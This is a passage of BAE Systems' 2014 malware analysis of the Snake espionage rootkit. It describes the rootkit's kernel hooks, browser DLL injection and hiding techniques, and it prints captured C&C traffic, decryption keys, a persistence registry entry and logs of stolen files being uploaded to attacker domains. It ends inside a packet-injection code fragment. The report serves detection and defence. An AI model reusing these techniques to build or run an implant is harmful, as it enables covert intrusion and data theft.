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                                                                                                                      10 011 001 01
EXECUTIVE
SUMMARY
       BAE Systems Applied Intelligence: Snake Rootkit Report 2014   2
OVERVIEW
One of the questions which comes up in the months after big security whitepaper disclosures is:
where are they now? In other words, what happened to the operators, tools, and infrastructure
which was revealed in the reports, blog-posts, and press interviews.

Did they continue on as before, did they re-build the disclosed infrastructure and tools, did they go
away and get jobs in another line of work?

In some cases, the disclosure had little, if any impact on the operation. For example, after the
McAfee ShadyRAT report in 2011, there was absolutely no change in the attacks from the group
behind this. However, when Mandiant released their APT1 report in 2013, there was a noticeable
reduction in activity from the group – and much of the tools and infrastructure has not been seen
since.

In the September 2010 issue of Foreign Affairs magazine1, former US Deputy Secretary of Defense
William J. Lynn discussed a cyber-attack which happened two years previously on the DoD’s
classified computer networks. Lynn described how a foreign intelligence agency planted malicious
code on the networks with the aim of transferring data to servers under their control.

The article included the now oft-quoted phrase ‘digital beachhead’ to describe what was
undoubtedly a significant compromise of US military systems. Further reports in the press2 kept the
story alive in 2011, but since then this threat has received remarkably little attention.

However, the operation behind the attacks has continued with little modification to the tools and
techniques, in spite of the widespread attention a few years ago. They use highly sophisticated
malware tools to maintain persistent access to their targets. These tools can be used for covert
communications in a number of different modes, some of which present significant challenges for
traditional security technologies to detect.

There are some threats which come and go, whilst there are others which are permanent
features of the landscape. In this paper, we describe the tools and techniques of one of the most
sophisticated and persistent threats we track. We hope this will help victims identify intrusions and
understand their need to improve defences. Cyber security is a collaborative effort – the operation
described in this paper again raises the bar for the security community in their efforts to keep up
with the attackers in cyber-space

1
 	     http://www.foreignaffairs.com/articles/66552/william-j-lynn-iii/defending-a-new-domain
2
 	     http://www.reuters.com/article/2011/06/17/us-usa-cybersecurity-worm-idUSTRE75F5TB20110617
                                                BAE Systems Applied Intelligence: Snake Rootkit Report 2014   3
TECHNICAL
DESCRIPTION
       BAE Systems Applied Intelligence: Snake Rootkit Report 2014   4
BACKGROUND
When antivirus back-end classification platforms cannot identify a malware family for an analysed malicious sample, they assign
generic names, such as “Trojan Horse” or “Agent”. The variant letters are also assigned automatically, by using hexavigesimal
(or Base26) notation. That is, the variant letters are auto-assigned starting from “A”, followed with “B”, and so on until “Z”. Next
comes “AA”, “AB” and so on, until “ZZ”. After that, the variant letters start from “AAA”, “AAB” and so on, until “ZZZ”.

Back in 2008 an unknown malicious file was discovered and auto-classified as “Agent.BTZ”, meaning it was registered as unknown
malicious sample #1,898 in an anti-virus classification system. It wasn’t given an actual name, only a generic one.

Meanwhile, internally the authors behind this malware were using their own naming systems - with specific titles for their file
components and projects such as “snake”, “uroburos”, “sengoku”, and “snark“ used to denote variants of their framework.


A recent report from German security company GData3 described a sample from the “uroburos” variant of this framework. Their
report revealed the complex nature of this malware family, and showed that the operation behind “Agent.BTZ” has continued. As
a result of this disclosure, we are also releasing our own technical analysis of the threat, including a timeline of known samples,
known Command-and-Control (C&C) servers, and other indicators to aid investigators in discovering attacks.

Reverse engineering of recent malware samples shows these to be much more advanced variants of Agent.BTZ, though still sharing
many similarities and encryption methods with the original. Further investigation allowed us to locate related samples compiled
between 2006 and 2014, and spanning across several distinctive generations. The first section of this report gives an overview of
the samples collected, where they were reported and the timelines derived from their analysis.

Snake’s architecture turned out to be quite interesting. We have identified two distinct variants, both highly flexible but with two
different techniques for establishing and maintaining a presence on the target system. In general, its operation relies on kernel
mode drivers, making it a rootkit. It is designed to covertly install a backdoor on a compromised system, hide the presence of its
components, provide a communication mechanism with its C&C servers, and enable an effective data exfiltration mechanism. At the
same time, Snake exposed a flexibility to conduct its operations by engaging these noticeably different architectures.

In the first model, the network communications are carried out from the userland - i.e. the area of the computer system where
application software executes. In another model, the network communications are handled by a kernel mode driver - i.e. the area
where lower level system code such as device drivers run. The choice of what architecture should be used may depend on a specific
target’s environment, allowing the Snake operators to choose the most suitable architecture to be deployed.

In both architectures there is a kernel mode driver installed and a usermode DLL injected by the driver into the system processes.
In both architectures, there is both 32-bit and 64-bit code involved. In order to distinguish between these architectures, we will call
them the usermode-centric and the kernel-centric architectures respectively.

The remainder of this report gives a detailed explanation of how the two Snake architectures embed themselves in the target
system and communicate with the outside world. We have also provided a set of technical indicators in the Appendix to enable
organisations and the security research community to identify compromises.




3
 	       https://www.gdata.de/rdk/dl-en-rp-Uroburos


                                                                BAE Systems Applied Intelligence: Snake Rootkit Report 2014               5
SNAKE SAMPLES
In total we have collected over 100 unique files related to this espionage toolkit. Many of these were submitted to online malware
analysis websites by victims and investigators over several years. In many cases the source country information of the submission
is available. These allow us to visualise the distribution of countries where this malware has been seen:



                                                                                      #Samples                    Submission Year

                                                                                      Source country 2010 2011 2012 2013 2014 Total
                                                                                      Ukraine             1   3     6    8   14                                   32
                                                                                      Lithuania                          9    2                                   11
                                                                                      Great Britain                      4                                         4
                                                                                      Belgium                            2                                         2
                                                                                      Georgia                                 2                                    2
                                                                                      United States           1     1                                              2
                                                                                      Romania                            1                                         1
                                                                                      Hungary                                 1                                    1
                                                                                      Italy                                   1                                    1
                                                                                      Total               1   4     7   24   20                                   56


Whilst this view is likely to only be the tip of the iceberg, it does give us an initial insight into the profile of targets for the Snake
operations.
Other useful visualisations of the operations come from the compile timestamps. Below is shown a table with a count of the
number of files in our sample set from recent years. Two samples compiled in late January 2014 show that this activity is ongoing.

                            #Samples by compile month
                            Year          01       02        03         04       05       06        07       08       09       10        11        12     Total
                            2006               1                                      3                                                                       4
                            2007                                             1                  1                                    1                        3
                            2008                                    2                 1         2        1                                     2              8
                            2009               1         1                                               1                           3         2         2 10
                            2010               1         1                   1                  1                                    1         2              7
                            2011                                    1                           4        1                           3         1         3 13
                            2012               2                    1                           1                                    1         2         7 14
                            2013               1        13          5        2        5         4        3        2        1         2         1             39
                            2014               2                                                                                                              2
                            Total              8        15          9        4        9        13        6        2        1        11        10        12 100



Plotting the day of the week in which the samples were compiled shows a now familiar pattern for analysts of modern cyber-attacks.
The creators of the malware operate a working week, just like any other professional. The single sample in our set which was
compiled on a Saturday is an outlier, but doesn’t alter the conclusion. Similarly, plotting the hour of the day in which the samples
were compiled reveals another human pattern – the working day. This has been adjusted to UTC+4 to show a possible fit to the
operators’ local time.



          #Samples compiled per day of the week                                                                   #Samples compiled by hour of the day
                                                                                                                         (adjusted to UTC+4)
 30

 25

 20

 15

 10

  5

  0
        Mon      Tue      Wed       Thu        Fri            Sat            Sun


                                                                                      BAE Systems Applied Intelligence: Snake Rootkit Report 2014                      6
USERMODE-CENTRIC ARCHITECTURE
The usermode-centric architecture of Snake is known to have been used from 2011 till 2014, with the most recent sample compiled
on January 28, 2014.

With this architecture, the Snake driver is mainly used to load the DLL module into the usermode processes, and then use that
module for the communications.

One of the analysed samples exposed multiple debug messages and source control check-in logs. It is not clear why those
messages were allowed in the deployed driver - possibly an operational security lapse. However, they give some insight into the
internal structure of the source code.

For example, the analysed driver gave away the following source file names:

    •	   d:\proj\cn\fa64\common\loadlib\common/loadlib_helpers.c
    •	   d:\proj\cn\fa64\common\loadlib\win/loadlib.c
    •	   d:\proj\cn\fa64\uroboros\rk_common\libhook\common/libunhook.c
    •	   d:\proj\cn\fa64\uroboros\rk_common\libhook\ntsystem/libhook.c
    •	   d:\proj\cn\fa64\uroboros\rk_common\libhook\common/hook_helpers.c
    •	   d:\proj\cn\fa64\uroboros\rk_common\libhook\common/libhook.c
    •	   d:\proj\cn\fa64\uroboros\rk_common\libhook\common/idthook.c
    •	   .\rk_ntsystem.c
    •	   ..\common\helpers\interface_s.c
    •	   ..\k2\fa_registry.c
    •	   ..\k2\syshook.c

The source control check-in log examples, showing the names of the developers to be ‘vlad’ and ‘gilg’:

    •	 $Id: snake_config.c 5204 2007-01-04 10:28:19Z vlad $
    •	 $Id: mime64.c 12892 2010-06-24 14:31:59Z vlad $
    •	 $Id: event.c 14097 2010-11-01 14:46:27Z gilg $
    •	 $Id: named_mutex.c 15594 2011-03-18 08:04:09Z gilg $
    •	 $Id: nt.c 20719 2012-12-05 12:31:20Z gilg $
    •	 $Id: ntsystem.c 19662 2012-07-09 13:17:17Z gilg $
    •	 $Id: rw_lock.c 14516 2010-11-29 12:27:33Z gilg $
    •	 $Id: rk_bpf.c 14518 2010-11-29 12:28:30Z gilg $
    •	 $Id: t_status.c 14478 2010-11-27 12:41:22Z gilg $

It also exposed the project name of this particular variant as ‘sengoku’:

    d:\proj\cn\fa64\sengoku\_bin\sengoku\win32_debug\sengoku_Win32.pdb

Now it’s time to execute the driver and see what it does.




                                                               BAE Systems Applied Intelligence: Snake Rootkit Report 2014        7
ROOTKIT EXECUTION
When first executed, the driver creates device named \Device\vstor32 with a symbolic link \DosDevices\vstor32.
This device is used for userland/kernel communications.

Next, it drops a DLL into the %windows% directory - the DLL is carried in the body of the driver as a binary chunk with
XOR 0xAA applied on top of it, so the driver decrypts it first.

Depending on the variant, the DLL is dropped either under a random name or a hard-coded name, such as mscpx32n.dll.

The purpose of this DLL is to be injected into the user-mode processes. Some variants of Snake carry the DLL modules that can be
installed as a service, to be run within taskhost.exe or services.exe processes.

Next, the driver sets up the hooks for the following kernel-mode APIs:

    •	 ZwCreateThread
    •	 ZwCreateUserProcess
    •	 ZwShutdownSystem

After that, it calls PsSetCreateProcessNotifyRoutine() in order to be notified whenever a new process is started.

The handlers of the hooks above along with the notification callback allow Snake to stay persistent on a system, being able to infect
any newly created processes, and restore its driver file in case it gets deleted.

Another set of hooks it sets is designed to hide the presence of the Snake components on the system:

    •	 ZwQuerySystemInformation
    •	 ZwQueryInformationProcess
    •	 ZwClose
    •	 ZwTerminateProcess

The driver then watches for all userland processes to see if they load any web pages.

As long as the user is not using the Internet, Snake stays dormant too, as there is no process that communicates with the web
servers.

However, as soon as the user goes online, the driver intercepts that event and then immediately injects the malicious DLL module
into the process that initiated connection (the browser).

Once injected, the module initiates polling from one of the hard-coded C&C servers.

The purpose of this behaviour is to blend Snake’s traffic with the browser traffic, bypassing the firewalls, and keeping a low profile
at the same time. By communicating from within a process that also communicates, even a technically savvy user will find it
challenging to detect Snake traffic among legitimate traffic.

The reason behind such difficulty is because modern web pages often fetch pages from the different web servers, including such
data as additional scripts, CSS templates, advertising contents, analytics data, blogs, social networking data, etc. When intercepted
with the purpose of analysis, such traffic may literally represent itself hundreds of DNS and HTTP requests made when a popular
website, such as a news website is open.

Hiding a few DNS/HTTP requests among busy network traffic allows Snake rootkit to stay unnoticed.

In order to test Snake’s communications with the C&C servers, and still being able to clearly distinguish its traffic, a small tool was
built to generate GET request to a web server running on the analysed system.

The tool was named as chrome.exe in order to trigger the malware communications.




                                                                BAE Systems Applied Intelligence: Snake Rootkit Report 2014               8
COMMAND-AND-CONTROL COMMUNICATIONS
As long as the test tool named chrome.exe did not make any requests, its memory stayed pristine. There were no injections made
by the driver.

As soon as the tool made its first GET requests, the driver immediately injected a malicious DLL module in it, and that module
started producing the following traffic:

No.   Time           Source               Destination         Protocol Length Info

 38   44.290689000   192.168.202.131      192.168.202.2       DNS   77 Standard query 0x6ad3 A winter.site11.com
 41   44.292830000   192.168.202.2        192.168.202.131     DNS   93 Standard query response 0x6ad3 A 31.170.161.136
 45   44.518185000   192.168.202.131      31.170.161.136      HTTP 219 GET /D/pub.txt HTTP/1.1
 47   44.743999000   31.170.161.136       192.168.202.131     HTTP 474 HTTP/1.1 302 Found (text/html)
 ↓
 84   45.990199000   192.168.202.131      31.170.161.136      HTTP     233    GET /D/1/f42cce984070b8ab1c0 HTTP/1.1
 86   46.216079000   31.170.161.136       192.168.202.131     HTTP     474    HTTP/1.1 302 Found (text/html)
 94   46.525887000   192.168.202.131      31.170.164.249      HTTP     217    GET /? HTTP/1.1
101   46.939359000   192.168.202.131      192.168.202.2       DNS       82    Standard query 0x5ae5 A swim.onlinewebshop.net
102   46.940914000   192.168.202.2        192.168.202.131     DNS       98    Standard query response 0x5ae5 A 83.125.22.197
107   47.287205000   192.168.202.131      83.125.22.197       HTTP     224    GET /D/pub.txt HTTP/1.1
109   48.219805000   83.125.22.197        192.168.202.131     HTTP     330    HTTP/1.1 200 OK (text/html)
 ↓
118   48.813394000   192.168.202.131      192.168.202.2       DNS   82 Standard query 0x5362 A july.mypressonline.com
119   48.814837000   192.168.202.2        192.168.202.131     DNS   98 Standard query response 0x5362 A 83.125.22.197
123   49.131675000   192.168.202.131      83.125.22.197       HTTP 224 GET /D/pub.txt HTTP/1.1
125   49.780323000   83.125.22.197        192.168.202.131     HTTP 330 HTTP/1.1 200 OK (text/html)
 ↓
137   50.536285000   192.168.202.131      31.170.161.136      HTTP     220    GET /D/77568289 HTTP/1.1
139   50.762073000   31.170.161.136       192.168.202.131     HTTP     474    HTTP/1.1 302 Found (text/html)
147   51.101706000   192.168.202.131      31.170.164.249      HTTP     217    GET /? HTTP/1.1
154   51.548661000   192.168.202.131      83.125.22.197       HTTP     225    GET /D/77568289 HTTP/1.1
163   52.014730000   192.168.202.131      83.125.22.197       HTTP     225    GET /D/77568289 HTTP/1.1
165   52.637958000   83.125.22.197        192.168.202.131     HTTP     679    HTTP/1.1 200 OK (text/html)    ↓
                                                                                                           Received command
The domain names of the C&C servers it relies on are hard-coded in the body of the malware. Some examples are given below, and
a full list of known domains is given in the Appendix D:

      •	 north-area.bbsindex.com
      •	 winter.site11.com
      •	 swim.onlinewebshop.net
      •	 july.mypressonline.com
      •	 toolsthem.xp3.biz
      •	 softprog.freeoda.com
      •	 euassociate.6te.net

As seen in the traffic dump above, the malware first resolves the domain name of its C&C.
Next, it fetches a file /D/pub.txt, and expects the server to respond with a string “1”, acknowledging it’s active:

      03:52:06 1336: Connect swim.onlinewebshop.net                    type(0)... OK
      03:52:06 1336: GET /D/pub.txt
      03:52:07 1336: Http status: 200
      03:52:07 1336: recv 1/1
      03:52:07 DownLoad 1 command(s)

Once acknowledged, it asks the server for a command, and the server returns a new command to execute:

      03:52:11 1404: Connect swim.onlinewebshop.net                    type(0)... OK
      03:52:11 1404: GET /D/77568289
      03:52:12 1404: Http status: 200
      03:52:12 1404: Command for all
      03:52:12 1404: recv 346/346
      03:52:12 Command Id:303149772662877808(130201837456870000)[13:42:25 05/08/2013]


                                                              BAE Systems Applied Intelligence: Snake Rootkit Report 2014        9
The command it receives from C&C above (swim.onlinewebshop.net) is encrypted. In order to decrypt it, the malware first
applies the XOR mask to the bytes that start from offset 0x40:

    1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6g
    s923HL34x2f5cvd0fk6c1a0s

An identical XOR mask was also used by Agent.BTZ.

Next, it calculates and confirms a CRC32 checksum within the command, further decrypts the data by using the Number Theory
Library (NTL), and makes sure the command is destined to the current host by matching the ID field in it.



                          0    1    2    3    4    5    6    7    8     9    A    B    C    D    E    F    0123456789ABCDEF
              00000000    74   E4   7E   F4   9E   8E   D8   65   B3    06   EB   B3   08   EA   3E   84   t.~....e......>.
              00000010    D5   A1   D2   ED   5D   0C   89   91   65    DE   4E   B6   0C   E2   2C   39   ....]...e.N...,9
              00000020    A9   8A   3D   B9   0B   C0   E6   12   E9    F9   81   0A   CF   C3   D9   0C   ..=.............
              00000030    5A   6A   15   B4   00   00   00   00   01    00   00   00   00   00   00   00   Zj..............
              00000040    31   64   4D   33   75   75   34   6A   37    46   77   34   73   6A   6E   62   1dM3uu4j7Fw4sjnb
              00000050    13   3D   D4   DA   90   F4   BA   35   1C    36   4A   79   69   96   B1   D4   .=.....5.6Jyi...
              00000060    D8   F1   07   6F   7B   CC   C4   68   9D    B7   86   3E   4B   6F   BA   FB   ...o{..h...>Ko..
              00000070    6E   AB   7B   29   32   FD   7C   75   B9    DF   7F   C0   0C   81   2D   14   n.{)2.|u......-.
              00000080    23   F9   A4   DF   D3   F1   18   97   4D    CD   71   D0   52   D6   A2   E9   #.......M.q.R...
              00000090    FF   58   30   3D   A8   8A   DD   4D   3F    DB   AE   9A   F5   07   3B   21   .X0=...M?.....;!
              000000A0    67   5A   34   22   AD   60   CB   DD   A4    E2   B5   77   A1   6A   4C   2E   gZ4”.`.....w.jL.
              000000B0    C8   75   91   01   CA   5B   B3   28   3E    55   C8   68   B2   2C   40   E4   .u...[.(>U.h.,@.
              000000C0    02   A9   64   8B   80   BD   0E   AB   58    25   00   40   6E   AB   DD   5B   ..d.....X%.@n..[
              000000D0    D1   0A   32   AE   4A   E2   60   79   BE    47   10   AE   73   35   4C   65   ..2.J.`y.G..s5Le
              000000E0    06   3C   AA   D8   F0   49   52   DB   22    A5   0D   7B   2B   4D   8A   D1   .<...IR.”..{+M..
              000000F0    21   5C   62   11   E6   13   E2   CA   AF    A5   4F   5A   9E   1C   AF   AE   !\b.......OZ....
              00000100    C4   1C   36   4D   A0   E4   72   3A   CD    07   A3   01   AE   E6   0A   84   ..6M..r:........
              00000110    D4   8B   03   FB   0D   68   19   FD   86    71   8E   FD   FC   2D   C3   5C   .....h...q...-.\
              00000120    49   A4   E3   40   9B   77   16   BA   86    4A   DD   0D   15   7D   B1   BD   I..@.w...J...}..
              00000130    A9   54   C3   F6   E4   05   72   B1   E6    B7   A5   A7   31   CE   29   8B   .T....r.....1.).
              00000140    EF   95   58   2A   2E   48   0E   7A   BD    B8   B7   CE   48   32   E2   48   ..X*.H.z....H2.H
              00000150    2E   E2   94   65   F0   19   FC   F5   ED    1B                                 ...e......
               ↓ Traffic is decrypted
                          0    1    2    3    4    5    6    7    8     9    A    B    C    D    E    F    0123456789ABCDEF
              00000000    49   44   33   30   33   31   34   39   37    37   32   36   36   30   38   34   ID30314977266084
              00000010    37   38   30   38   23   30   36   20   26    6D   61   72   6B   65   74   70   7808#06 &marketp
              00000020    6C   61   63   65   2E   73   65   72   76    65   68   74   74   70   2E   63   lace.servehttp.c
              00000030    6F   6D   26   2F   55   50   44   41   54    45   2F   26   63   65   72   74   om&/UPDATE/&cert
              00000040    31   30   32   34   26   55   6E   37   37    6B   6F   23   73   26   26   26   1024&Un77ko#s&&&
              00000050    0A                                                                               .


Once decrypted, the malware interprets the received command, as reflected in the malware log below (the new C&C server address
is highlighted in it):

    03:52:12 Del after 0
    03:52:12 Run instruction: 6 ID:303149772147483647(13:41:34 05/08/2013)
    03:52:12 Add address &marketplace.servehttp.com&/UPDATE/&cert1024&Un77ko#s&&&
    03:52:12 Finish run instruction.

After that, the malware connects to the new C&C, asking it for another command:

    03:52:13 1400: Connect marketplace.servehttp.com                              type(0)... OK
    03:52:13 1400: GET /IMAGE/pub.html
    03:52:15 1400: Http status: 200
    03:52:16 1400: recv 1/1
    03:52:16 DownLoad 1 command(s).




                                                                       BAE Systems Applied Intelligence: Snake Rootkit Report 2014   10
The command it receives is called UpLoad, so it uploads all the collected logs to the server, and then cleans out those logs:

    03:52:16 UpLoad: http upload 4 file(s).
    03:52:17 652: Connect marketplace.servehttp.com                       type(0)... OK
    03:52:17 652: GET test file /IMAGE/pub.html
    03:52:17 652: POST /IMAGE/2/55198739672286404661840843638320033
    03:52:18 652: C:\WINDOWS\$NtUninstallQ812589$\gstat32.bin 310[B]
    03:52:19 652: Http Status:200
    03:52:19 652: POST /IMAGE/2/32773318678423920155243775957661252
    03:52:19 652: result.xml 1278[B]
    03:52:20 652: Http Status:200
    03:52:21 652: POST /IMAGE/2/41535327538451061594793127961089611
    03:52:21 652: C:\WINDOWS\$NtUninstallQ812589$\mtmon32.sdb 655[B]
    03:52:22 652: Http Status:200
    03:52:22 652: POST /IMAGE/2/35192812459183876172895945534862460
    03:52:22 652: C:\WINDOWS\$NtUninstallQ812589$\mtmon.sdb 748[B]
    03:52:23 652: Http Status:200

The files it uploads are stored inside its home directory %windows%\$NtUninstallQ[random]$,
where [random] is a random number.

For example, Snake’s home directory could be C:\WINDOWS\$NtUninstallQ812589$.

The files within that directory are used by the rootkit to store configuration and log data.

When decrypted with the same XOR key that was used by Agent.BTZ, these files expose the following contents:

    •	 mtmon.sdb - C&C communication log that looks as the logs shown above.

    •	 mtmon_.sdb - installation log, that shows infected processes (Internet Explorer), the random name of the dropped DLL
       (e.g. kbdfaori.dll), log directory, and the registry entry ShellCore that stores other configuration details:

         03:52:02 TVer=1.2
         03:52:02 Parent:C:\Program Files\Internet Explorer\IEXPLORE.EXE
         03:52:02 ver 3.2.0.0a inj             dll K:0      PID:712,
         C:\WINDOWS\system32\kbdfaori.dll,
         hostID:ea5cfa5ea1681bd6(16887647987074341846)
         03:52:02 C:\WINDOWS\$NtUninstallQ812589$,
         Temp:C:\WINDOWS\$NtUninstallQ812589$\SPUNINST\Temp
         03:52:02 REG:Software\Microsoft\Windows\CurrentVersion\ShellCore
         03:52:02 ModuleStart: 03:51:42

   •	 scmp.bin - pipe server log that shows its assigned name (COMPUTERNAME is the name of the test system) and
      what processes it operates from:

         02:04:24 TVer=1.6
         02:04:24 SPCOMPUTERNAME: Pipe server thread start
         02:04:24 Inj[1620]:explorer.exe
         03:51:42 Inj[712]:iexplore.exe

    •	 ucmp.bin - another pipe server log:

         02:04:44 TVer=1.6
         02:04:44 UPCOMPUTERNAME: Pipe server thread start




                                                                 BAE Systems Applied Intelligence: Snake Rootkit Report 2014    11
INTER-PROCESS COMMUNICATIONS
Analysis of the sample reveals that it supports 3 modes of fetching C&C commands.

   •	   In the first mode, it relies on Windows Internet (WinINet) APIs, such as HttpOpenRequest(), HttpSendRequest(),
        InternetReadFile(), etc.
   •	   In the second mode, it uses Windows Sockets 2 (Winsock) APIs, such as WSAStartup(), socket(), connect(),
        send(), etc.
   •	   In the third mode, it works in the ‘pipe server’ mode, when it passes the web requests it is interested in (as a client) to the
        pipe server that runs within Windows Explorer (explorer.exe) and/or Internet Explorer (iexplore.exe) processes.

Memory pipes is a common mechanism for Inter-Process Communications (IPC). When the pipe server reads such requests from the
pipes, it performs the web request on behalf of a client by using WinINet APIs, so it effectively serves as a proxy.

The diagram below demonstrates the last, ‘pipe server’ mode of Snake operation:


                   Injected Snake DLL               System Process
                                                   (e.g. services.exe)
                                                                    Snake DLL                    Internet
                                               3                 in ‘pipe server’
                                                                       mode



                                                                                            4

                                                                                                 3
Legitimate Process
                                                                                                                    Injected Snake DLL
 (e.g. a browser)




User Mode
                                 2

                                                                           1
Kernel Mode


                                                                                                                   Legitimate Process
                                                                                                                    (e.g. a browser)


                                                                                                            2
                                                                                    Embedded
                       Snake’s Kernel Mode                                          DLL Module
                        Driver, with the DLL
                       module embedded in it


The diagram illustrates the operation steps 1-4:

    1     First, the malicious driver with the embedded DLL module injects that DLL into a system process,
          such as services.exe; once loaded, the DLL will function in the ‘pipe server’ mode.

          As soon as the driver detects a usermode process that goes online (e.g. a browser), it will inject malicious DLL module
    2     into it; depending on the operational mode, the DLL may start communicating with C&C directly.

          In the ‘pipe mode’ of operation, the injected DLL will start communicating with the pipe server by sending messages into
    3     the established inter-process communication pipes.

          Once the task of communication with C&C is delegated to the pipe server, it will start communicating with the C&C,
    4
          bypassing the host-based firewalls that keep an infected system process in a white-list.



                                                                 BAE Systems Applied Intelligence: Snake Rootkit Report 2014         12
The reason behind the pipes usage is to ‘legitimise’ the outbound web requests, forcing them to originate from the host firewall-
friendly system services.

Pipe server is a special mode of the injected DLL. In order to switch into that mode, a dedicated thread is spawned to listen for IPC
messages received through the pipes. The memory pipes used by Snake are named as:

    •	 \\.\Pipe\SP[COMPUTERNAME]
    •	 \\.\Pipe\UP[COMPUTERNAME]

    where [COMPUTERNAME] is the name of the host computer.

Apart from GET/POST requests, the pipe clients (infected usermode processes) may also ask the pipe server to perform other
operations on their behalf, such as saving data into a temporary file, copy/delete files, save configuration data into the registry
under the aforementioned ShellCore value.

This delegation of tasks is designed to keep infected processes under the radar of the behavioural analysis tools for as long as
possible. Another reason is to overcome account restrictions imposed on a browser process in order to be able to write into files/
registry.

To delegate different types of tasks, the clients send messages to the pipe server using the following task identification headers:

    •	   DATA
    •	   CREATE
    •	   CMD
    •	   POST
    •	   GET
    •	   DEL
    •	   REGISTR
    •	   COPY

The usermode component of Snake communicates with its kernel-mode driver via a device called \\.\vstor32 (created under
kernel as \Device\vstor32). In its communication protocol with the driver it uses the IOCTL code of 0x222038.

To write data, it opens the device with CreateFile(“\\.\vstor32”), then calls DeviceIoControl() API on its handle with
IOCTL code of 0x222038.

Configuration parameters along with the initial set of domain names are hard-coded within the body of the DLL. However, the data
appears to be defined in the structures, so it is very likely the DLL could be generated by a stand-alone builder that ‘patches’ the
DLL with the new/updated list of C&C.

Analysis of the commands performed by the malware suggests the following capabilities:

    •	   Scan the network for the presence of other hosts (maximum 1 hour is allocated for this task)
    •	   Set maximum upload file size
    •	   Go ‘stealth’ mode for the specified number of days - Snake will not initiate any connections during that time
    •	   Run specified shell commands and collect the output logs for further delivery
    •	   Modify settings stored with the registry key HKLM\Software\Microsoft\Windows\CurrentVersion\ShellCore
    •	   Search for files
    •	   Upload specified files
    •	   Add new C&C domains
    •	   Update the driver with a new version
    •	   Download files
    •	   Run specified executable files
    •	   Set self-deactivation timeout
    •	   If the virtual partition \\.\vd1 exists, copy all Snake logs into that partition

Together, these commands provide complete backdoor functionality, allowing remote attacker full control over the compromised
system.

The ability to update the driver and then rely on its communication capabilities means that the components of Snake are flexible,
making possible the existence of the hybrid (kernel-centric and usermode-centric) architectures.

For example, the virtual partitions are used by kernel-centric Snake variants, where the kernel-mode driver is responsible for the
communications. If such a driver is installed via an update, the usermode component can be instructed to delegate the file upload
task to the driver by copying all the necessary logs into the shared virtual partition, physically located on the compromised host and
thus, accessible from kernel.
                                                                 BAE Systems Applied Intelligence: Snake Rootkit Report 2014           13
KERNEL-CENTRIC ARCHITECTURE
This particular architecture relies on a kernel-mode driver to carry out the network communications. The usermode DLLs are still
injected into the system processes to perform high-level tasks.

The delivery mechanism is not known: it may be distributed via a thumb-drive, a phishing email attachment, or be delivered via an
exploit across the network (e.g. by using the reconnaissance tool that is explained later).

Infection starts from a dropper penetrating into the compromised system where it is allowed to run. Once executed, the dropper
installs the kernel mode driver in a pre-defined location. The dropper itself is 32-bit, so it will run both on 32-bit and 64-bit Windows
OS (in WoW64 mode). On a 32-bit OS, it will install a 32-bit driver. On a 64-bit OS, it will install a 64-bit driver.

The analysed 32-bit dropper creates a driver in the following location:

%windows%\$NtUninstallQ817473$\fdisk.sys

However, different samples may use a different path and driver file name. For example, some samples exposed these filenames:
fdisk_32.sys, A0009547.sys, or Ultra3.sys. The filename of the dropper could be rkng_inst.exe or fdisk_mon.exe.



REGISTRATION
Once executed, the driver first makes sure it is registered under a pre-defined name, such as Ultra3.

Other samples may have a different registration name, such as ~ROOT. The registration is ensured with creation of the following
registry entries:

    ErrorControl = 0
    Group = “Streams Drivers”
    ImagePath = %windows%\$NtUninstallQ817473$\fdisk.sys
    Start = 1 [SYSTEM]
    Type = 1

in the newly created registry key

    HKEY_LOCAL_MACHINE\System\CurrentControlSer\Services\Ultra3

The driver then flags the following events with the notification purposes:

    \BaseNamedObjects\{B93DFED5-9A3B-459b-A617-59FD9FAD693E}
    \BaseNamedObjects\shell.{F21EDC09-85D3-4eb9-915F-1AFA2FF28153}

The rootkit then places a number of the hooks.



SYSTEM HOOKS
The first API it hooks is IoCreateDevice(). The installed hook handler calls the original API and then checks if the name of the
device is netbt or afd. If so, it will install a TDI filter driver. If the device name is Null, Beep, tcpip or Nsiproxy, it will activate
itself by enabling its hooks designed to hide the presence of Snake on a system, set up its access control lists and the messaging
system.

In order to hide its components, the driver hooks the following APIs:
    •	 ZwQueryKey
    •	 ZwEnumerateKey
    •	 ZwCreateKey
    •	 ZwSaveKey
    •	 ZwReadFile
    •	 ZwQuerySystemInformation
    •	 ZwQueryInformationProcess
    •	 ZwClose
    •	 ZwTerminateProcess
    •	 ZwShutdownSystem
    •	 ObOpenObjectByName
                                                                 BAE Systems Applied Intelligence: Snake Rootkit Report 2014           14
For example, the hook handlers of the registry-related APIs will block access to the registry entries that contain the name of the
driver. In one example, the rootkit blocks access to registry entries that contain the strings “Ultra3” and “~ROOT”.

The ZwReadFile() hook handler will block access to the home directory where the rootkit keeps its file. In one of the analysed
kernel-centric Snake samples the home directory was hard-coded as %windows%\$NtUninstallQ817473$, so it blocked file
read access from that directory.

The ZwClose() hook handler is used to inject the DLL module into the userland processes.

The hook handler for ZwTerminateProcess() checks if the process being shut down is svchost.exe. If so, it considers
it to be a system shutdown, so it unloads its usermode DLL and deactivates its own network drivers, just like it does when its
ZwShutdownSystem() hook handler gets invoked.

The ObOpenObjectByName() hook is designed to hide the presence of its virtual partitions (described later).

To encrypt data stored on its virtual partitions, the driver sets a hook for another API:

         IofCallDriver()

To re-infect the usermode process svchost.exe and to re-enable its network drivers, the rootkit hooks these APIs:

    •	 ZwCreateThread
    •	 ZwCreateUserProcess



WFP CALLOUT DRIVER
Snake then proceeds to the task of deep packet inspection and modification.

In order to accomplish it, it registers a callout driver for Windows Filtering Platform (WFP), an architecture first introduced with
Windows Vista and nowadays normally used by antivirus and/or intrusion detection systems to inspect/block malicious traffic.

Snake sets filters at the layers FWPM_LAYER_STREAM_V4 and FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4 in the TCP/
IP stack, so that its callout driver is notified whenever a TCP connection is established by a browser. When that happens, the
rootkit triggers an event named \BaseNamedObjects\wininet_activate. When the data arrives, it is intercepted with the
FwpsCopyStreamDataToBuffer0() API, and then scanned for the presence of the hidden commands from C&C.

The driver inspects bidirectional network data on a per stream basis, as it’s located right on the stream data path. An ability to
manipulate data streams is provided with the packet injection logic below, allowing Snake to covertly insert traffic destined to its
C&C servers:

      01    int __stdcall stream_inject(int flowHandle, int calloutId, int layerId)
      02    {
      03        int iRet = 0;
      04        int ntStatus = FwpsAllocateNetBufferAndNetBufferList(m_hNdisNblPool, 0, 0, 0, 0, &iRet);
      05        if (!ntStatus)
      06        {
